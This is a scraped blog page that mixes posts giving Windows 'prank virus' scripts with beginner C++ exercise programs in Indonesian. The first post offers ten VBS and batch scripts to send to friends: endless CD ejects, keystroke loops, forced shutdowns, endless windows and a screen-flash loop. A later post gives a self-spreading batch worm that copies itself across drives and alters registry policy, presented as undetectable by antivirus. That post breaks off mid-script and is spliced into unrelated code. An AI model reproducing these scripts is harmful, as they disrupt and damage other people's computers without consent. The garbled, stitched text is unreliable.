10 Virus Under CD | aregnoz blog


All this comand use to type in notepad
1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

2) Toggle your friend's Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

3) Convey your friend a lil' message and shut down his / her computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

10) THRETEN BY MAKING SCREEN FLASH

To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a

To disable error (ctrl+shirt+esc) then end process wscript.exe
Enjoy!!!^^


Contoh Program Penghitung Suhu Dengan CPP

Contoh Program Penghitung Suhu Dengan CPP


Contoh Program Penghitung Suhu Dengan CPP ~ Konversi Suhu dengan C++ CPP


Srcipt :
#include <iostream.h>
#include <conio.h>


void main ()
{
float r,f,c;
clrscr();
cout<<"masukkan nilai celcius = ";cin>>c;
r=(4*c)/5;
f=(9*c)/5+32;
cout<<"\n";


cout <<"Reamur ="<<r;
cout<<"\n";
cout <<"Farenheit ="<<f;
cout<<"\n";
getch();
}

Program CPP Menghitung Luas Bangun Ruang

Program CPP Menghitung Luas Bangun Ruang


Contoh Program CPP Menghitung Luas Bangun Ruang


#include "iostream.h"
#include "conio.h"
#include "stdio.h"


void main ()
{
float phi =3.14,s,l,r,ll,a,t,lst,at,b,ltp,tt;
clrscr();
cout <<"masukan nilai s bujursangkar= ";cin>>s;


l=s*s;
cout <<"luas bujursangkar="<<l<<endl;
cout<<"masukan nilai r lingkaran =";cin>>r;
ll = phi * r *r;
cout<<"luas lingkaran =  "<<ll<<endl;
cout <<"masukan alas=";cin>>a;
cout <<"masukan tinggi=";cin>>t;
lst = (a*t)/2;
cout<<"luas segi tiga = "<<lst<<endl;
cout <<"masukan atas=";cin>>at;
cout <<"masukan bawah=";cin>>b;
cout <<"masukan tinggi=";cin>>tt;
ltp = (a*t)/2*t;
cout<<"luas trapesium = "<<ltp;


getch();
}
Program CPP Mencari Nilai Rata-Rata

Program CPP Mencari Nilai Rata-Rata

Program CPP Mencari Nilai Rata-Rata ~ Tutorial CPP C++ Untuk mencari nilai rata-rata pertandingan.



#include"iostream.h"
#include"conio.h"
#include"stdio.h"
void main()
{
char nama[25];
int np1, np2, np3,rata_rata;
clrscr();
cout<<"PROGRAM HITUNG NILAI RATA-RATA\n";
cout<<"Nama Siswa = ";gets(nama);
cout<<"nilai Pertandingan 1 = ";cin>>np1;
cout<<"nilai Pertandingan 2 = ";cin>>np2;
cout<<"nilai Pertandingan 3 = ";cin>>np3;
rata_rata=(np1+np2+np3)/3 ;
cout<<"---------------------------"<<endl ;
cout<<"Nama Siswa = "<<nama<<endl;
cout<<"Rata-rata = "<<rata_rata<<endl;
cout<<"dari hasil perlombaan yang di ikutinya";


getch();
}
Contoh Program Penjualan Tiket Bioskop

Contoh Program Penjualan Tiket Bioskop


Berikut adalah Contoh Program Penjualan Tiket pada Bioskop menggunakan CPP ~ Tutorial CPP Diskon, kembalian dan pembayaran sudah lengkap.


Script :
#include <iostream.h>
#include <conio.h>
#include <stdio.h>
#include <string.h>


void main()
{
clrscr();
char kode, waktu, nama_film[20], nama_pen[10];
float harga, beli, bayar, pot, total,u_byr,u_kmb;


film:
gotoxy(17,1);
printf("************THEATER 21************");
gotoxy(15,4);
printf("Nama Penonton          : ");
scanf("%s", &nama_pen);
gotoxy(15,5);
printf("Kode Theather [1/2/3]  : ");
scanf("%s", &kode);
gotoxy(15,7);
cout<<"Waktu tayang [S/M]     : ";
cin>>waktu;


if (kode == '1')
{
      strcpy(nama_film,"JANDA KEMBANG");
      if (waktu == 's' || waktu == 'S')
harga = 10000;
else
harga = 1200;
}


else if (kode == '2')
{
strcpy (nama_film, "PUNK IN LOVE");
if (waktu == 's' || waktu == 'S')
harga = 10500;
else
harga = 12500;
}


else
{
strcpy (nama_film, "SELENDANG RINDU");
if (waktu == 's' || waktu == 'S')
harga = 11000;
else
harga = 13500;
}


gotoxy(15,6);
printf ("Nama Film           : %s",nama_film);
gotoxy(15,8);
printf ("Harga Tiket     :Rp. %.0f",harga);
gotoxy(15,9);
printf ("Jumlah Pembelian Tiket: ");
scanf ("%f", &beli);
gotoxy(15,10);
printf("********************************");


bayar = harga * beli;


if (beli >= 5)
pot = 0.10 * bayar;
else
pot = 0;


total = (bayar-pot);


gotoxy(15,11);
printf("Pembayaran :Rp. %.0f",bayar);
gotoxy(15,12);
printf("Potongan   :Rp. %.0f",pot);
gotoxy(15,13);
printf("Total Bayar:Rp. %.0f",total);
gotoxy(15,14);
printf("*******************************");


// lagi:


gotoxy(15,16);
printf("Uang bayar  :Rp. ");
cin>>u_byr;


  /* if (u_byr<total)
{
goto lagi;
}


else */
{u_kmb = u_byr - total;
gotoxy(15,17);
cout<<"Uang Kembali:Rp. "<<u_kmb<<endl;
gotoxy(13,19);}
printf("Terima Kasih Anda Telah Datang ke Counter Kami");
getch();
}


Contoh Program Diskon Dengan CPP

Contoh Program Diskon Dengan CPP

Tutorial Contoh Program Diskon Dengan CPP


#include"iostream.h"
#include"conio.h"
#include"stdio.h"
void main()
{
float a,potongan,diskon,harga_bersih;
cout<<"Masukan Harga Barang  = ";cin>>a;
cout<<"Masukan Diskon = ";cin>>diskon;
potongan = (a*diskon)/100;
cout<<"----------------------------"<<endl;
cout<<"Harga Barang = "<<a<<endl;
cout<<"Besar Diskon = "<<potongan<<endl;;
cout<<"----------------------------\n";
harga_bersih = a-potongan;
cout<<"Harga Bersih = "<<harga_bersih;
getch();
}

Membuat Virus Menggunakan Notepad 2


Membuat Virus Ampuh Dengan Notepad

Pada saat sekarang ini perkembangan dunia komputer semakin kompleks berikut dengan perkembangan program-program didalamnya, dalam postingan saya kali ini saya akan nmemcoba mengulas tentang pembuatan program pengganggu atau yang lebih dikenal dengan sebutan VIRUS. Kebanyakan orang berpendapat bahwa membuat virus itu memerlukan penguasaan bahasa CC+, VBscript atau bahasa pemrograman lainya. wah kalau gitu caranya bisa bikin botak rambut tuh.

Kali ini saya akan berbagi ilmu tentang cara membuat virus hanya dengan menuliskan program sederhana di sebuah notepad. bisakah?

Jawabannya tentu saja bisa, virus yang akan kita buat ini akan secara langsung mengacak-acak registry windows. Bahkan untuk antivirus tertentu dengan update terbaru pun tidak akan bisa mendeteksinya. Lumayan banget kan buat iseng, tapi kalau ada apa-apa saya tidak bertanggung jawab ya. Maka dari itu gunakan saja tutorial ini sebagai tambahan pengetahuan dan jangan disalah gunakan.

Ok, langsung kita mulai saja :

1. Buat sebuah halaman notepad kosong yang terdapat pada windows anda. Start->All

Programs->Accessories->notepad
2. Buat script berikut :

//Listing program// >>baris ini jangan ikut ditulis

Echo off > C:\virxx.txt
if no exist C:\Windows\%0 copy %0 C:\Windows
for %%p in (A C D E F G H) do copy %0 %%p:
for %%q in (A C D E F G H) do dir %%q:\*.3gp /B /S >> C:\virxx.txt
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind
/t REG_DWORD /d 1 /f
Contoh Program Persewaan Kamar Hotel CPP

Contoh Program Persewaan Kamar Hotel CPP


Contoh Program Persewaan Kamar Hotel CPP ~ C++ Sewa Kamar Hotel plus Diskon dan Potongan dan pembayaran sudah termasuk didalamnya.


Script :
#include<iostream.h>
#include<conio.h>
#include<stdio.h>


void main()
{
clrscr();
char nama[25],alamat[100],jenis_kamar[20];
long harga,lama_menginap,no,biaya,harga_bersih,besar_diskon_kamar,besar_diskon_tambahan,total;
long diskon_kamar,diskon_tambahan;
cout<<"Masukkan nama Anda : ";gets(nama);
cout<<"Masukkan alamat Anda : ";gets(alamat);
cout<<"Masukkan lama menginap : ";cin>>lama_menginap;
cout<<"Selamat datang di Hotel GRAND PALACE"<<endl;
cout<<"Disini tersedia beberapa jenis kamar antara lain : "<<endl;
cout<<"1.EKONOMI"<<endl;
cout<<"2.LUXURY"<<endl;
cout<<"3.VIP"<<endl;
cout<<"4.SWEET ROOM"<<endl;
cout<<"5.PENTHOUSE"<<endl;
cout<<"Silahkan memilih no urut jenis kamar : ";cin>>no;
switch (no)
{
case 1 :harga=300000;cout<<"Jenis Kamar : Ekonomi"<<endl;
break;
case 2 :harga=400000;diskon_kamar=5;cout<<"Jenis Kamar : Luxury"<<endl;
break;
case 3 :harga=500000;diskon_kamar=10;cout<<"Jenis Kamar : VIP"<<endl;
break;
case 4 :harga=600000;diskon_kamar=15;cout<<"Jenis Kamar : Sweet Room"<<endl;
break;
case 5 :harga=800000;diskon_kamar=20;cout<<"Jenis Kamar : Penthouse"<<endl;
break;
}
besar_diskon_kamar=(harga*diskon_kamar)/100;
harga_bersih=harga-besar_diskon_kamar;
biaya=lama_menginap*harga_bersih;
if (biaya>=600000)
diskon_tambahan=10;
else if (biaya>5000000)
diskon_tambahan=20;
besar_diskon_tambahan=(biaya*diskon_tambahan)/100;
total=biaya-besar_diskon_tambahan;
cout<<"Harga Kamar : "<<harga_bersih<<endl;
cout<<"Total Bayar : "<<total<<endl;
getch();
}